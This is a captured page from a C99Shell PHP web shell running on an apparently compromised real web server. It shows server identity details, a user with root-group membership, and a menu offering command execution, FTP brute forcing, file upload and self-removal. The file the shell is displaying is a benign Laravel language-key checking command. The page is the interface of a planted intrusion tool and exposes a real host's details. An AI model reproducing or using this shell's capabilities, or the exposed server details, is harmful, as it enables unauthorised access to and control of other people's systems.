!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/vendor/nwidart/laravel-modules/src/Commands/   drwxrwxr-x
Free 28.95 GB of 117.98 GB (24.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CheckLangCommand.php (6.82 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Nwidart\Modules\Commands;

use 
Illuminate\Console\Command;
use 
Illuminate\Support\Collection;
use 
Symfony\Component\Console\Input\InputArgument;

class 
CheckLangCommand extends Command
{

    private 
$langPath;

    
/**
     * The console command name.
     *
     * @var string
     */
    
protected $name 'module:lang';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Check missing language keys in the specified module.';


    
/**
     * Execute the console command.
     */
    
public function handle(): int
    
{

        
$this->langPath DIRECTORY_SEPARATOR config('modules.paths.generator.lang.path''Resources/lang');

        
$this->components->alert('Checking languages ...');

        
$this->newLine();

        if (
$name $this->argument('module')) {
            
$this->check($name);

            return 
0;
        }

        
$this->checkAll();

        return 
0;

    }

    
/**
     * enableAll
     *
     * @return void
     */
    
public function checkAll()
    {
        
$modules $this->laravel['modules']->all();

        foreach (
$modules as $module) {
            
$this->check($module);
        }
    }

    
/**
     * enable
     *
     * @param string $name
     * @return void
     */
    
public function check($name)
    {
        if (
$name instanceof Module) {
            
$module $name;
        } else {
            
$module $this->laravel['modules']->findOrFail($name);
        }

        
$directories $this->getDirectories($module);

        if (! 
$directories) {
            return;
        }

        
$this->checkMissingFiles($directories);

        
$this->checkMissingKeys($directories);

    }

    
/**
     * Get the console command arguments.
     *
     * @return array
     */
    
protected function getArguments()
    {
        return [
            [
'module'InputArgument::OPTIONAL'Module name.'],
        ];
    }

    private function 
getLangFiles($module)
    {
        
$files = [];
        
$path  $module->getPath() . $this->langPath;
        if (
is_dir($path)) {
            
$files array_merge($files$this->laravel['files']->all($path));
        }

        return 
$files;
    }

    private function 
getDirectories($module)
    {
        
$moduleName $module->getStudlyName();
        
$path       $module->getPath() . '/Resources/lang';
        if (
is_dir($path)) {
            
$directories $this->laravel['files']->directories($path);
            
$directories array_map(function ($directory) use ($moduleName) {
                return [
                    
'name'   => basename($directory),
                    
'module' => $moduleName,
                    
'path'   => $directory,
                    
'files'  => array_map(function ($file) {
                        return 
basename($file);
                    }, 
\File::glob($directory DIRECTORY_SEPARATOR "*")),
                ];
            }, 
$directories);
        }

        if (
count($directories) == 0) {
            
$this->components->info("No language files found in module $moduleName");
            return 
false;
        }

        if (
count($directories) == 1) {
            
$this->components->warn("Only one language file found in module $moduleName");
            return 
false;
        }

        return 
collect($directories);
    }

    private function 
checkMissingFiles(Collection $directories)
    {
        
//show missing files
        
$missingFilesMessage = [];

        
$uniqeLangFiles $directories->pluck('files')->flatten()->unique()->values();

        
$directories->each(function ($directory) use ($uniqeLangFiles, &$missingFilesMessage) {

            
$missingFiles $uniqeLangFiles->diff($directory['files']);

            if (
$missingFiles->count() > 0) {
                
$missingFiles->each(function ($missingFile) use ($directory, &$missingFilesMessage) {
                    
$missingFilesMessage[$directory['name']][] = {$directory['module']} - Missing language file: {$directory['name']}/{$missingFile}";
                });
            }

        });

        if (
count($missingFilesMessage) > 0) {

            
collect($missingFilesMessage)->each(function ($messages$langDirectory) {

                
$this->components->error("Missing language files in $langDirectory directory");

                
$this->components->bulletList(
                    
collect($messages)->unique()->values()->toArray()
                );

                
$this->newLine();

            });

        }

    }

    private function 
checkMissingKeys(Collection $directories)
    {
        
//show missing keys
        
$uniqeLangFiles  $directories->pluck('files')->flatten()->unique();
        
$langDirectories $directories->pluck('name');


        
$missingKeysMessage = [];
        
$directories->each(function ($directory) use ($uniqeLangFiles$langDirectories, &$missingKeysMessage) {

            
$uniqeLangFiles->each(function ($file) use ($directory$langDirectories, &$missingKeysMessage) {
                
$langKeys $this->getLangKeys($directory['path'] . DIRECTORY_SEPARATOR $file);

                if (
$langKeys == false) {
                    return;
                }

                
$langDirectories->each(function ($langDirectory) use ($directory$file$langKeys, &$missingKeysMessage) {

                    if (
$directory['name'] != $langDirectory) {

                        
$basePath str_replace($directory['name'], $langDirectory$directory['path']);

                        
$otherLangKeys $this->getLangKeys($basePath DIRECTORY_SEPARATOR $file);

                        if (
$otherLangKeys == false) {
                            return;
                        }

                        
$missingKeys $langKeys->diff($otherLangKeys);
                        if (
$missingKeys->count() > 0) {

                            
$missingKeys->each(function ($missingKey) use ($directory$langDirectory$file, &$missingKeysMessage) {
                                
$missingKeysMessage[$langDirectory][] = {$directory['module']} - Missing language key: {$langDirectory}/{$file} | key: $missingKey";
                            });

                        }
                    }
                });
            });
        });


        if (
count($missingKeysMessage) > 0) {

            
collect($missingKeysMessage)->each(function ($messages$langDirectory) {

                
$this->components->error("Missing language keys for directory $langDirectory:");

                
$this->components->bulletList(
                    
collect($messages)->unique()->values()->toArray()
                );

                
$this->newLine();
            });
        }
    }

    private function 
getLangKeys($file)
    {
        if (
\File::exists($file)) {
            
$lang \File::getRequire($file);
            return 
collect(\Arr::dot($lang))->keys();
        } else {
            return 
false;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--